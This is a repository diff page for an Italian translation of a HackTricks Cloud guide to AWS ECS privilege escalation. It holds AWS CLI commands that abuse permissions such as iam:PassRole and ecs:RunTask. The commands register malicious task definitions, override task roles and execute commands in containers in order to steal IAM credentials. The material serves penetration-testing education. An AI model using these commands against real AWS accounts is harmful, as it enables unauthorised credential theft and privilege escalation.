gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-12 04:55:32 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/gitblit-security/README.md', 'src/

Browse Source
This commit is contained in:
Translator
2025-09-04 23:47:28 +00:00
parent 1d10071d43
commit 50cb47c9d3
4 changed files with 123 additions and 124 deletions
Download Patch File Download Diff File Expand all files Collapse all files

67
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -12,7 +12,7 @@ Maggiori **informazioni su ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Un attaccante che abusa delle autorizzazioni `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali metadata e **eseguirla**.
Un attaccante che sfrutta le permission `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le metadata credentials e **eseguirla**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Impatto Potenziale:** Privesc diretto a un ruolo ECS diverso.
**Potential Impact:** Privesc diretto verso un ruolo ECS differente.
### `iam:PassRole`,`ecs:RunTask`
Un attaccante che possiede i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati di **execution role**, **task role** e del **command** del container. Il comando CLI `ecs run-task` include il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza modificare la task definition.
Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo ECS task con valori modificati di **execution role**, **task role** e **command** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition.
I ruoli IAM specificati in `taskRoleArn` e `executionRoleArn` devono permettere di essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono consentire/essere autorizzati ad essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
Inoltre, l'attaccante necessita di conoscere:
Inoltre, l'attacker deve conoscere:
- ECS cluster name
- VPC Subnet
- Security group (Se non viene specificato alcun security group verrà utilizzato quello di default)
- Security group (se non viene specificato verrà usato quello di default)
- Task Definition Name and revision
- Name of the Container
```bash
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
Nello snippet di codice sopra un attaccante sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco possa avvenire.
Nel frammento di codice sopra un attacker sovrascrive solo il valore di `taskRoleArn`. Tuttavia, l'attacker deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco possa avvenire.
Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per effettuare il pull dell'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` sia per `taskRoleArn` nel comando `ecs run-task`.
Se il ruolo IAM che l'attacker può passare ha privilegi sufficienti per scaricare l'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), allora l'attacker può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Impatto potenziale:** Privesc diretto a qualsiasi ECS task role.
**Impatto potenziale:** Direct privesc a qualsiasi ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Proprio come nel precedente esempio un attacker che abusa delle autorizzazioni **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** su ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirla**.\
Tuttavia, in questo caso è necessaria un'istanza container per eseguire la task definition malevola.
Proprio come nell'esempio precedente un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**.\
Tuttavia, in questo caso è necessario che sia disponibile una container instance su cui eseguire la task definition malevola.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impatto potenziale:** Escalation di privilegi diretta su qualsiasi ruolo ECS.
**Potential Impact:** privesc diretto su qualsiasi ruolo ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali metadata e **eseguirlo creando un nuovo service con almeno 1 task in esecuzione.**
Come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirlo creando un nuovo service con almeno 1 task in esecuzione.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -169,12 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.
**Potenziale impatto:** privesc diretto su qualsiasi ECS role.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
In realtà, con solo quelle autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -182,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.
**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti **eseguire un container privilegiato per evadere** sul nodo e **rubare il ruolo IAM di EC2** e i **ruoli degli altri container ECS** in esecuzione sul nodo.\
Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (as discusso nella [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Questo scenario è come i precedenti ma **senza** il permesso **`iam:PassRole`**.\
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti **eseguire un container privilegiato per evadere** verso il nodo e **rubare l'EC2 IAM role** e gli **altri ruoli dei container ECS** in esecuzione sul nodo.\
Potresti persino **forzare altre task a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate.
> Questo attacco è possibile solo se l'**ECS cluster usa EC2** e non Fargate.
```bash
printf '[
{
@@ -234,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Un attaccante con le **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM a esso associato (è necessario il permesso describe perché serve per eseguire `aws ecs execute-command`).\
Tuttavia, per farlo, l'istanza del container deve avere in esecuzione l'**ExecuteCommand agent** (che per impostazione predefinita non lo è).
Un attacker con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare l'IAM role ad esso associato (è necessario il permesso di describe perché è richiesto per eseguire `aws ecs execute-command`).\
Tuttavia, per farlo, l'istanza del container deve eseguire l'**ExecuteCommand agent** (che di default non lo fa).
Quindi, l'attaccante potrebbe provare a:
Pertanto, l'attacker potrebbe provare a:
- **Provare a eseguire un comando** in ogni container in esecuzione
```bash
@@ -262,13 +261,13 @@ aws ecs execute-command --interactive \
- Se ha **`ecs:CreateService`**, creare un service con `aws ecs create-service --enable-execute-command [...]`
- Se ha **`ecs:UpdateService`**, aggiornare un service con `aws ecs update-service --enable-execute-command [...]`
Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni su ECS privesc**.
Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni ECS privesc**.
**Impatto potenziale:** Privesc a un ruolo diverso associato ai container.
**Potenziale impatto:** Privesc a un ruolo diverso associato ai container.
### `ssm:StartSession`
Consulta la **pagina ssm privesc** per vedere come puoi abusare di questa autorizzazione per **privesc a ECS**:
Consulta la **ssm privesc page** per vedere come puoi abusare di questo permesso per **privesc to ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -276,7 +275,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Consulta la **pagina ec2 privesc** per vedere come puoi abusare di queste autorizzazioni per **privesc a ECS**:
Consulta la **ec2 privesc page** per vedere come puoi abusare di questi permessi per **privesc to ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -284,16 +283,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
Un attaccante con queste autorizzazioni potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Ciò potrebbe permettere all'attaccante di eseguire codice arbitrario nel contesto dei task ECS.
Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.
- TODO: È possibile registrare un'istanza da un account AWS diverso in modo che i task vengano eseguiti su macchine controllate dall'attaccante??
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Testare questo
> TODO: Test this
Un attaccante con le autorizzazioni `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
Un attacker con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set**. Questo consente all'attacker di **eseguire codice arbitrario all'interno del servizio**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -319,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, impattando potenzialmente la sua funzionalità o esfiltrando dati sensibili.
**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, potenzialmente compromettendone la funzionalità o esfiltrando dati sensibili.
## Riferimenti